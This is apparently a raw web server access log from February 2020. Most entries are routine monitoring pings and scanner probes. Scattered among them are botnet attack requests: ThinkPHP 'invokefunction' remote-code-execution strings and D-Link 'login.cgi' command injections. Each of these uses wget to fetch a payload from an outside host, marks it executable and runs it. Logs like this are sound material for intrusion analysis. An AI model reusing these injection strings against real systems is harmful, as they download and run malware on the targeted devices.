212.91.246.72 - - [03/Feb/2020:18:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.206.226.124 - - [03/Feb/2020:18:25:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:18:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.191.38.77 - - [03/Feb/2020:18:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [03/Feb/2020:18:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.219.96.10 - - [03/Feb/2020:18:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:18:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.167.238.237 - - [03/Feb/2020:18:32:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:18:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.203.2.252 - - [03/Feb/2020:18:35:27 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "-"
212.91.246.72 - - [03/Feb/2020:18:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.110.7 - - [03/Feb/2020:18:36:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.138.205.194 - - [03/Feb/2020:18:36:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
61.220.75.34 - - [03/Feb/2020:18:36:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.251.232 - - [03/Feb/2020:18:36:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:18:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.191.198 - - [03/Feb/2020:18:37:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:18:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.86.178 - - [03/Feb/2020:18:43:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:18:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.100.26.236 - - [03/Feb/2020:18:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [03/Feb/2020:18:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.138.165 - - [03/Feb/2020:18:49:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:18:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.48.249.92 - - [03/Feb/2020:18:50:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:18:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.28.234 - - [03/Feb/2020:18:54:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:18:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.138.188.252 - - [03/Feb/2020:18:55:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:18:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.153.201.141 - - [03/Feb/2020:18:56:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:18:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.205.5.119 - - [03/Feb/2020:18:59:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
86.19.50.17 - - [03/Feb/2020:19:00:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:19:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [03/Feb/2020:19:01:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [03/Feb/2020:19:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [03/Feb/2020:19:02:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:19:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.160 - - [03/Feb/2020:19:06:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:19:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.194.177 - - [03/Feb/2020:19:07:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:19:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.208.201 - - [03/Feb/2020:19:11:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:19:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.237.201 - - [03/Feb/2020:19:23:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:19:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.120.42.238 - - [03/Feb/2020:19:31:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.188.93 - - [03/Feb/2020:19:32:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:19:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.18.247 - - [03/Feb/2020:19:32:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:19:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.94.151.29 - - [03/Feb/2020:19:34:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
190.94.151.29 - - [03/Feb/2020:19:34:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:19:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.179.123 - - [03/Feb/2020:19:35:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:19:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.167.142 - - [03/Feb/2020:19:37:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.167.142 - - [03/Feb/2020:19:37:19 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.167.142 - - [03/Feb/2020:19:37:19 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.167.142 - - [03/Feb/2020:19:37:19 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.167.142 - - [03/Feb/2020:19:37:20 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
212.91.246.72 - - [03/Feb/2020:19:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.31.254.186 - - [03/Feb/2020:19:40:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:19:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.180 - - [03/Feb/2020:19:43:04 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.180 - - [03/Feb/2020:19:43:30 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [03/Feb/2020:19:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:19:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.79.73 - - [03/Feb/2020:19:45:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.129.180 - - [03/Feb/2020:19:45:10 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.180 - - [03/Feb/2020:19:45:12 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [03/Feb/2020:19:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.176.252.91 - - [03/Feb/2020:19:45:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
162.243.129.180 - - [03/Feb/2020:19:45:53 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [03/Feb/2020:19:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.194.205.108 - - [03/Feb/2020:19:46:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:19:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.180 - - [03/Feb/2020:19:47:37 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
79.20.98.65 - - [03/Feb/2020:19:47:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
162.243.129.180 - - [03/Feb/2020:19:47:46 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [03/Feb/2020:19:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.96.215.48 - - [03/Feb/2020:19:48:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
162.243.129.180 - - [03/Feb/2020:19:48:55 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
103.232.150.131 - - [03/Feb/2020:19:49:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:19:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
